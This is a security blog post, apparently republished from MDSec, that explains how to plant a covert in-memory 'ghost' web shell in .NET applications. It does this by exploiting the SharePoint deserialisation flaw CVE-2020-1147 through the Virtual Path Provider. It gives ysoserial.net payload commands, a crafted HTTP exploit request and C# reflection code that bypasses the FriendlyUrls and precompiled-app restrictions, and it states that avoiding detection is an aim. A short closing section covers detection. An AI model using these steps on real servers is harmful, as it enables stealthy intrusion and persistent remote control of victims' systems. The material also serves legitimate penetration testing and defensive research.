By Soroush Dalili (@irsdl) – source: https://www.mdsec.co.uk/2020/10/covert-web-shells-in-net-with-read-only-web-paths/

Virtual Web Shells in .NET when Web Path is Read-Only

In a recent engagement, we found a SharePoint instance which was vulnerable to CVE-2020-1147. I was asked to run a web shell without running any commands to avoid easy detection so everything would look normal! As our target SharePoint server was running under the IUSR user with minimal privileges, we could not simply create a web shell in web directories by exploiting the deserialisation issue (CVE-2020-1147). I remembered I was easily caught before when running a PowerShell command so I needed a different approach!

This post explains how we can create a web shell when we have a code execution vulnerability but the web directory is not writable.

In theory, we should be able to do this as our code is being executed in a web application so I came up with the following two solutions:

1: Creating a fully working web shell in C#

Although I am a fan of using web shells, most of the powerful .NET ones are a mixture of HTML and C# code mixed like a spaghetti. Therefore, it is quite difficult and time consuming to clean them to run them as a pure C# code. My solution for this is to use the aspnet_compiler command in order to obtain the C# code of an ASPX web shell from its temporary compiled file.

The other problem is that we need to exploit our vulnerable function whenever we want to interact with our embedded web shell which might cause conflicts or may not be appropriate at all when the vulnerable page and the web shell expect completely different HTTP requests. Therefore, all web shell related parameters in the URL and in the body as well as HTTP verb, content-type, cookies, and other customised headers should be encapsulated in some ways to be recreated on the server-side after exploiting the code execution. Although a custom JavaScript code might be able to handle some of the encapsulation tasks, it might not be easy to capture all required aspects of a HTTP request. Therefore, handling the requests using a proxy seems like a better and easier approach. This can be done for example by writing an extension for Burp Suite that can capture all requests to the web shell which has been loaded initially by exploiting the code execution issue. This extension can encapsulate the web shell parameters within headers of a HTTP request which is sent to exploit the code execution issue. Using headers can be limiting especially when the web shell request contains large parameters such as when a file is being uploaded. However, using a replacement with proxy can guarantee that an expected HTTP request with suitable parameters such as HTTP body, content-type, HTTP verb, and URL parameters can be recreated on the server-side for the web shell to work. It should be noted that it is fairly easy to make the read-only parameters in a HTTP request such as form parameters writable using reflection techniques. Another important note is to clear any HTTP response that might had been created before running the web shell code. The response also needs to be flushed and ended after execution of the web shell to prevent any unexpected data to pollute expected responses from the web shell.

Although this technique looked feasible, I avoided it due to its complexity and the size of web requests I needed to send to the server for each action to reduce risks of potential detection.

2: Creating a virtual file (ghost file) by abusing the Virtual Path Provider in .NET.

Using .NET, it is possible to define virtual paths in order to serve virtual files from other storages rather than the file system. This feature is very powerful as it can even be used to replace existing files which have not been cached or compiled. This means that it can come in handy even for phishing or other system attacks by replacing existing .NET files (such as .aspx, .svc, .ashx, .asmx, and so on) to show attackers' contents. SharePoint itself uses a similar approach to create ghosted and unghosted pages!

This solution has minimal complexity for the tester as a web shell can be directly embedded within the initial exploit code. The GhostWebShell.cs file in the YSoSerial.Net project shows the code we have created to run a web shell on a vulnerable web application.

In order to use this code, contents of a web shell file can be base-64 encoded and stored in the \`webshellContentsBase64\` parameter. The \`webshellType\` parameter contains the web shell extension and the \`targetVirtualPath\` parameter contains the virtual path that is going to be created on the server. Other than these parameters, the other parameters can be left unchanged and hopefully the comments in the code are sufficient if more customisation is needed.

The following command shows an example of how this can be used in order to generate a LosFormatter payload using YSoSerial.Net:

```
.\ysoserial.exe -g ActivitySurrogateSelectorFromFile -f LosFormatter -c
"C:\CoolTools\ysoserial.net\ExploitClass\GhostWebShell.cs;System.dll;System.Web.dll;System.Dat
a.dll;System.Xml.dll;System.Runtime.Extensions.dll"
```

It should be noted that the \`ActivitySurrogateDisableTypeCheck\` gadget should be used before using the ActivitySurrogateSelectorFromFile gadget in order to enable it for the newer version of .NET Framework.

The following steps show how this technique can be used to create a virtual web shell on a SharePoint server vulnerable to CVE-2020-1147:

Step 1) Preparing the base payload which contain the DataSet payload needed to exploit the remote code execution vulnerability:

```
POST /_layouts/15/quicklinks.aspx?Mode=Suggestion HTTP/1.1
uthorization: [ntlm auth header]
Content-Type: application/x-www-form-urlencoded
Host: [target]
Content-Length: [length of body]

__VIEWSTATE=&__SUGGESTIONSCACHE__=[DataSet payload from YSoSerial.Net]
```

Step 2) Generating and sending a DataSet payload to disable .NET Framework v4.8+ type protections for ActivitySurrogateSelector:

```
.\ysoserial.exe -p SharePoint --cve CVE-2020-1147 -g ActivitySurrogateDisableTypeCheck -c
"ignored"
```

Step 3) Generating and sending a DataSet payload to run a virtual web shell:

```
.\ysoserial.exe -p SharePoint --cve CVE-2020-1147 -g ActivitySurrogateSelectorFromFile -c
"C:\GitHubRepos\myysoserial.net\ExploitClass\GhostWebShell.cs;System.dll;System.Web.dll;Syst
em.Data.dll;System.Xml.dll;System.Runtime.Extensions.dll"
```

Video file: https://vimeo.com/467312711

The GhostWebShell.cs file can be changed to become more customised to serve multiple files as well as hiding itself until it sees a special header or file name. Changing the \`IsPathVirtual\` function can also come in handy to replace specific files in existing directories when they have not been already compiled. At the moment, it responds to all incoming requests but you may want to restrict it to certain name or check the file extensions to serve different contents.

Bypassing Microsoft.AspNet.FriendlyUrls

Since .NET 4.5, web application can use friendly URLs to not use ".aspx" in the URL when pointing at the ASPX pages. This can stop our method to create ghost web shells. The following solution was found to overwrite this setting for web applications which used this feature.

```
foreach(var route in System.Web.Routing.RouteTable.Routes)
        {
            if (route.GetType().FullName == "Microsoft.AspNet.FriendlyUrls.FriendlyUrlRoute")
            {
                var FriendlySetting = route.GetType().GetProperty("Settings",
System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.Public);

                var settings = new Microsoft.AspNet.FriendlyUrls.FriendlyUrlSettings();
                settings.AutoRedirectMode = Microsoft.AspNet.FriendlyUrls.RedirectMode.Off;

                FriendlySetting.SetValue(route, settings);
            }
        }
```

This code has already been included in the GhostWebShell.cs file which needs to be uncommented when required (the `Microsoft.AspNet.FriendlyUrls.dll` file is also needed to create the payload).

Bypassing precompiled restriction

A Virtual Path Provider in .NET cannot be registered when an application is in the precompiled mode. However, as we already can execute code on the application, it is possible to use reflection to change the ` System.Web.Compilation.BuildManager.IsPrecompiledApp` property. This code has already been included in the GhostWebShell.cs file in the YSoSerial.Net project.

As a result, it is also possible to create virtual web shells even when an application is in the precompiled mode.

Exploitation of other web handlers

The virtual file method works when exploiting a code execution issue which uses another web handler such as the ones for web services. Although their response might not show the execution of the virtual web shell, it can still be accessed by browsing to the virtual web shell directly in the browser.

Detection mechanism for virtual files

Although the virtual files only exist in memory, their compiled version is saved in the temporary location which is used for compilation of .NET pages. The default directory is normally in this format:

```
C:\Windows\Microsoft.NET\Framework64|Framework\v[version]\Temporary ASP.NET
Files\[appname]\[hash]\[hash]\
```

Therefore, it is potentially possible to detect malicious compiled files by monitoring newly created temporary files. It should be noted that it is possible to take over uncompiled .NET files in default directories of an application. As a result, monitoring the newly file names cannot be used as a solid protection mechanism unless the application must be in a precompiled mode (so no new files should be created out of order).

By Soroush Dalili (@irsdl) – source: https://www.mdsec.co.uk/2020/10/covert-web-shells-in-net-with-read-only-web-paths/

If it is absolutely vital to not create any files on the filesystem, the first solution discussed in this post (Creating a fully working web shell in C#) should be considered as an alternative. However, this solution comes with risk of detection by monitoring unencrypted traffic for specific signatures, or by detecting unusually large web requests to a specific target from a specific source.